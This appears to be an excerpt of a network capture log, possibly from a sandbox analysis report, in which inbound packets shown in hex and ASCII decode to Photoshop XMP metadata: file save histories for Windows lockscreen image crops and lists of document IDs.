2022-07-20 17:31:06 UTC	1227	IN	Data Raw: 52 6f 75 6e 64 33 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 50 43 2d 52 65 66 72 65 73 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 38 31 35 30 33 38 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 36 54 31 32 3a 30 38 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 43 2d 52 65 66 72 65 73 68 5c 52 6f 75 6e 64 33 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 50 43 2d 52 65 66 72 65 73 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 37 37 39 36 31 34 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 36 54 31 32 3a 31 33 3a 34 33 2d 30 37 3a 30 Data Ascii: Round3\Chosen\Crops\PC-Refresh_GettyImages-518150381_1080x1920.jpg saved 2017-05-16T12:08:24-07:00 File C:\Users\v-lizagh\MS\Windows10\PC-Refresh\Round3\Chosen\Crops\PC-Refresh_GettyImages-667796149_1080x1920.jpg saved 2017-05-16T12:13:43-07:0
2022-07-20 17:31:06 UTC	1298	IN	Data Raw: 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 69 6e 67 41 44 69 66 66 65 72 65 6e 63 65 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 61 6b 69 6e 67 41 44 69 66 66 65 72 65 6e 63 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 36 31 33 36 33 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 33 54 32 31 3a 34 35 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f Data Ascii: File C:\Users\v-lizagh\MS\Windows10\Microsoft\MakingADifference\Chosen\Crops\MakingADifference_GettyImages-502613631_1080x1920.jpg saved 2017-07-03T21:45:32-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lo
2022-07-20 17:31:06 UTC	1330	IN	Data Raw: 6e 64 6f 77 73 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 34 34 34 36 36 32 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 34 3a 30 38 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 33 36 30 32 31 39 33 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 34 3a 31 35 3a 32 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 Data Ascii: ndowsMMX_GettyImages-624446620_1080x1920.jpg saved 2017-07-26T14:08:02-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\_CHOSEN\Crops\WindowsMMX_GettyImages-636021934_1080x1920.jpg saved 2017-07-26T14:15:20-07:00 File C:\Users\v-lizag
2022-07-20 17:31:06 UTC	1418	IN	Data Raw: 6e 2d 4c 65 61 72 6e 69 6e 67 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 39 39 38 36 33 31 38 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 35 39 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 69 6e 6b 65 64 49 6e 2d 4c 65 61 72 6e 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 32 32 33 32 38 30 5f 31 30 38 30 78 31 39 32 30 30 46 44 36 45 35 34 33 31 41 36 36 34 44 37 33 43 31 45 43 44 44 33 42 34 45 30 36 37 44 36 43 2e 70 73 62 Data Ascii: n-Learning_shutterstock_199863185_1080x1920.jpg saved 2017-08-14T13:59:35-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_LinkedIn-Learning_GettyImages-108223280_1080x19200FD6E5431A664D73C1ECDD3B4E067D6C.psb
2022-07-20 17:31:06 UTC	1457	IN	Data Raw: 2d 31 33 54 31 38 3a 30 30 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 6f 63 63 65 72 5f 41 6c 61 6d 79 2d 47 39 44 48 52 33 5f 31 30 38 30 78 31 39 32 30 35 39 38 31 39 30 46 33 43 43 46 32 36 37 43 34 30 38 45 38 31 31 30 36 46 33 43 41 45 38 35 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 33 54 31 38 3a 31 34 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b Data Ascii: -13T18:00:57-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-Soccer_Alamy-G9DHR3_1080x1920598190F3CCF267C408E81106F3CAE857.psb saved 2017-10-13T18:14:08-07:00 File C:\Users\v-lizagh\MS\Windows10\Lock
2022-07-20 17:31:06 UTC	1505	IN	Data Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 37 3a 34 34 3a 30 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 37 3a 34 35 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 75 73 74 72 61 6c 69 61 5c 43 68 6f 73 65 6e 5c 31 31 30 39 31 37 5c 43 72 6f 70 73 5c 4d 53 2d 52 65 77 61 72 64 73 2d 41 Data Ascii: MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-11-20T17:44:09-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2017-11-20T17:45:38-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Australia\Chosen\110917\Crops\MS-Rewards-A
2022-07-20 17:31:06 UTC	1537	IN	Data Raw: 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 4e 5a 2d 53 69 6e 67 2d 49 52 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 72 65 77 61 72 64 73 2d 49 72 65 6c 61 6e 64 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 39 36 37 32 34 35 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 37 54 31 32 3a 34 36 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c Data Ascii: 8:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\NZ-Sing-IRE\CHOSEN\Crops\MSrewards-Ireland_GettyImages-519672457_1080x1920.jpg saved 2017-12-07T12:46:08-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\
2022-07-20 17:31:06 UTC	1553	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4e 42 41 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 2d 49 6e 74 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 37 32 37 31 30 37 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 39 54 30 38 3a 32 37 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4e 42 41 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 2d 49 6e 74 6c 5f 47 65 74 74 79 49 6d 61 67 Data Ascii: 9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\NBA\Chosen\Crops\MIT-NBA-Intl_GettyImages-147271072_1080x1920.psd saved 2018-01-09T08:27:07-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\NBA\Chosen\Crops\MIT-NBA-Intl_GettyImag
2022-07-20 17:31:06 UTC	1585	IN	Data Raw: 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 38 3a 31 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 33 34 39 37 37 32 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 34 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 Data Ascii: saved 2018-02-08T13:58:19-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_GettyImages-623497726_1080x1920.jpg saved 2018-02-08T14:00:02-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pi
2022-07-20 17:31:06 UTC	1656	IN	Data Raw: 3b 32 30 31 38 2d 30 32 2d 32 38 54 31 30 3a 30 34 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 38 54 31 30 3a 31 37 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 69 78 65 64 52 65 61 6c 69 74 79 5c 46 59 31 38 43 61 6d 70 61 69 67 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 4d 52 2d 48 4d 44 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 33 30 31 30 30 33 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 Data Ascii: ;2018-02-28T10:04:37-08:00 File Lockscreen_1080x1920_Portrait.psd opened 2018-02-28T10:17:02-08:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MixedReality\FY18Campaign\CHOSEN\Crops\WMR-HMD_GettyImages-563010035_1080x1920.jpg saved 2018-02
2022-07-20 17:31:06 UTC	1696	IN	Data Raw: 6f 75 73 65 5f 35 30 30 70 78 2d 39 35 35 32 30 37 34 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 32 54 30 39 3a 31 33 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 53 75 72 66 61 63 65 4d 6f 75 73 65 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 53 75 72 66 61 63 65 4d 6f 75 73 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 37 39 32 35 38 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 32 54 30 39 3a 31 36 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c Data Ascii: ouse_500px-95520743_1080x1920.jpg saved 2018-03-22T09:13:27-07:00 File C:\Users\v-lizagh\MS\Windows10\China\SurfaceMouse\_CHOSEN\Crops\China-SurfaceMouse_GettyImages-597925836_1080x1920.jpg saved 2018-03-22T09:16:19-07:00 File C:\Users\v-l
2022-07-20 17:31:06 UTC	1728	IN	Data Raw: 37 41 32 46 42 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 37 34 37 42 44 34 43 43 33 45 31 32 44 43 43 37 45 45 45 32 46 30 38 37 32 35 34 37 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 37 39 44 43 41 31 32 42 32 37 33 45 30 45 38 42 34 30 32 33 43 46 38 37 37 34 42 34 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 37 44 43 35 34 31 37 42 31 36 34 43 43 39 32 42 37 34 30 30 41 38 46 31 32 31 36 41 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 38 31 30 34 37 30 34 32 35 34 43 43 33 37 39 39 35 31 35 38 32 31 31 34 44 33 38 45 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 38 36 39 39 33 30 30 36 41 39 41 34 30 46 44 30 36 45 31 44 33 30 30 41 35 34 31 35 Data Ascii: 7A2FBBA</rdf:li> <rdf:li>0C747BD4CC3E12DCC7EEE2F0872547B7</rdf:li> <rdf:li>0C79DCA12B273E0E8B4023CF8774B47D</rdf:li> <rdf:li>0C7DC5417B164CC92B7400A8F1216AFA</rdf:li> <rdf:li>0C8104704254CC379951582114D38E0A</rdf:li> <rdf:li>0C86993006A9A40FD06E1D300A5415
2022-07-20 17:31:06 UTC	1776	IN	Data Raw: 31 34 43 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 36 30 32 43 30 37 39 34 44 39 44 44 37 42 35 31 32 34 31 31 43 34 36 31 43 35 35 36 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 37 34 33 36 34 42 43 39 30 42 46 44 37 30 35 31 42 33 30 36 31 39 42 35 45 41 45 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 38 37 45 32 32 32 36 31 32 37 39 30 43 30 42 30 43 34 36 43 42 42 39 41 38 33 30 30 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 39 34 33 32 37 41 45 37 36 32 45 38 32 46 46 41 38 43 38 38 35 30 36 45 44 46 34 32 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 42 43 39 31 39 42 43 46 46 34 31 30 39 38 34 34 45 31 36 38 33 32 38 30 45 42 34 44 43 37 Data Ascii: 14CA9</rdf:li> <rdf:li>12602C0794D9DD7B512411C461C5568C</rdf:li> <rdf:li>1274364BC90BFD7051B30619B5EAE19A</rdf:li> <rdf:li>1287E222612790C0B0C46CBB9A830036</rdf:li> <rdf:li>1294327AE762E82FFA8C88506EDF421B</rdf:li> <rdf:li>12BC919BCFF4109844E1683280EB4DC7
2022-07-20 17:31:06 UTC	1847	IN	Data Raw: 36 32 46 36 43 36 31 42 41 38 38 31 39 32 46 43 36 45 32 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 42 37 31 32 44 44 34 45 41 37 32 37 34 34 46 39 41 44 30 31 33 32 31 32 44 31 34 34 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 42 43 37 36 44 32 44 34 33 46 33 38 37 34 39 35 36 41 39 43 39 36 32 32 45 36 35 37 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 43 37 45 38 34 45 32 34 33 44 45 32 44 43 44 44 42 42 36 30 30 30 42 37 32 45 32 43 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 43 41 38 36 34 31 31 36 36 32 38 34 43 41 42 46 31 35 44 43 39 43 45 37 38 46 45 44 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 44 32 36 39 38 37 31 39 35 42 37 31 45 34 Data Ascii: 62F6C61BA88192FC6E2D4</rdf:li> <rdf:li>20B712DD4EA72744F9AD013212D14498</rdf:li> <rdf:li>20BC76D2D43F3874956A9C9622E657CF</rdf:li> <rdf:li>20C7E84E243DE2DCDDBB6000B72E2C01</rdf:li> <rdf:li>20CA8641166284CABF15DC9CE78FED38</rdf:li> <rdf:li>20D26987195B71E4
2022-07-20 17:31:06 UTC	1863	IN	Data Raw: 66 3a 6c 69 3e 32 44 30 44 33 31 35 30 37 30 33 46 37 34 31 38 44 46 39 46 33 45 44 45 35 34 34 35 43 30 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 33 34 38 46 37 36 42 33 36 44 36 44 43 39 34 34 38 39 32 38 31 35 38 39 30 32 37 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 39 43 36 45 46 44 44 44 44 34 45 41 46 43 33 32 32 34 44 44 31 44 34 34 35 35 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 41 33 33 44 30 35 46 31 30 46 35 30 31 35 37 35 38 38 38 31 31 37 37 36 38 36 34 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 42 31 36 44 31 38 44 38 33 39 35 37 39 35 33 32 33 37 35 41 35 31 45 42 31 41 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>2D0D3150703F7418DF9F3EDE5445C02B</rdf:li> <rdf:li>2D2348F76B36D6DC944892815890270F</rdf:li> <rdf:li>2D29C6EFDDDD4EAFC3224DD1D4455259</rdf:li> <rdf:li>2D2A33D05F10F501575888117768641D</rdf:li> <rdf:li>2D2B16D18D839579532375A51EB1A26C</rdf:li> <rdf:li>
2022-07-20 17:31:06 UTC	1903	IN	Data Raw: 38 31 30 38 38 37 37 38 32 41 37 42 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 31 33 42 45 35 34 43 41 43 33 30 46 46 31 34 45 45 34 39 35 41 36 38 43 42 38 45 36 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 31 36 34 33 41 39 30 44 36 30 43 35 36 36 30 34 32 34 43 42 46 38 33 43 46 30 37 43 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 31 46 36 36 30 31 42 43 42 39 33 41 36 39 33 34 46 39 43 45 45 38 32 39 45 44 36 43 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 42 45 46 33 38 32 33 45 45 31 32 35 36 31 43 31 39 42 44 35 42 35 38 33 32 35 33 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 43 44 46 45 32 37 38 38 30 42 35 45 34 31 31 37 37 45 36 31 Data Ascii: 810887782A7B0E</rdf:li> <rdf:li>3313BE54CAC30FF14EE495A68CB8E620</rdf:li> <rdf:li>331643A90D60C5660424CBF83CF07C00</rdf:li> <rdf:li>331F6601BCB93A6934F9CEE829ED6CAC</rdf:li> <rdf:li>332BEF3823EE12561C19BD5B58325314</rdf:li> <rdf:li>332CDFE27880B5E41177E61
2022-07-20 17:31:06 UTC	1919	IN	Data Raw: 38 32 45 44 43 34 45 37 45 39 30 41 42 37 30 34 35 42 32 46 39 45 36 36 33 36 45 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 38 39 32 46 33 38 42 44 39 34 34 33 36 44 38 42 46 36 31 39 41 43 39 32 38 45 39 30 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 38 44 39 31 35 43 41 38 36 42 43 36 33 36 33 46 37 46 45 44 42 45 45 45 36 30 30 30 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 38 45 37 33 36 46 36 35 38 38 41 32 30 45 36 34 33 34 42 37 32 43 33 32 37 45 44 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 31 38 33 34 38 30 44 39 41 30 45 35 36 38 35 37 37 32 42 38 44 46 45 38 35 42 36 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 32 39 38 43 Data Ascii: 82EDC4E7E90AB7045B2F9E6636E076</rdf:li> <rdf:li>40892F38BD94436D8BF619AC928E90D8</rdf:li> <rdf:li>408D915CA86BC6363F7FEDBEEE60009A</rdf:li> <rdf:li>408E736F6588A20E6434B72C327ED53D</rdf:li> <rdf:li>409183480D9A0E5685772B8DFE85B67D</rdf:li> <rdf:li>409298C
2022-07-20 17:31:06 UTC	1951	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 37 44 39 38 39 37 30 34 44 37 30 43 34 30 46 32 42 41 32 36 31 39 46 39 37 35 35 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 45 35 39 31 33 34 33 46 36 31 36 44 36 33 38 38 45 31 35 37 46 31 42 44 43 33 39 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 30 44 33 37 38 43 31 31 35 39 41 38 31 43 42 37 42 46 45 42 32 33 41 32 41 38 34 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 30 46 37 35 39 34 36 30 30 35 46 41 45 38 33 43 30 37 39 36 30 37 31 43 43 46 42 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 31 37 32 33 41 37 34 31 46 36 43 45 36 34 39 46 35 41 33 34 45 32 34 30 35 31 41 39 45 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: f:li> <rdf:li>4DB7D989704D70C40F2BA2619F9755B0</rdf:li> <rdf:li>4DBE591343F616D6388E157F1BDC3921</rdf:li> <rdf:li>4DC0D378C1159A81CB7BFEB23A2A8442</rdf:li> <rdf:li>4DC0F75946005FAE83C0796071CCFB31</rdf:li> <rdf:li>4DC1723A741F6CE649F5A34E24051A9E</rdf:li>
2022-07-20 17:31:06 UTC	1982	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 34 32 43 43 46 31 46 43 30 30 43 36 42 30 38 41 39 31 35 42 35 36 44 38 34 44 42 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 34 39 33 39 34 34 42 41 38 37 45 37 39 37 39 46 43 44 31 32 42 46 36 46 38 34 34 38 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 37 31 43 38 33 46 45 36 33 32 44 32 34 34 36 34 45 30 36 35 43 30 31 30 32 35 32 33 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 37 35 35 31 39 45 30 43 39 33 34 41 39 35 39 46 43 30 34 30 43 34 42 42 41 38 39 36 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 38 43 30 39 38 33 45 44 33 30 30 43 39 33 43 32 30 30 32 43 36 32 41 45 32 43 43 39 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>5442CCF1FC00C6B08A915B56D84DBCD0</rdf:li> <rdf:li>54493944BA87E7979FCD12BF6F844871</rdf:li> <rdf:li>5471C83FE632D24464E065C01025236D</rdf:li> <rdf:li>5475519E0C934A959FC040C4BBA8962F</rdf:li> <rdf:li>548C0983ED300C93C2002C62AE2CC994</rdf:li> <
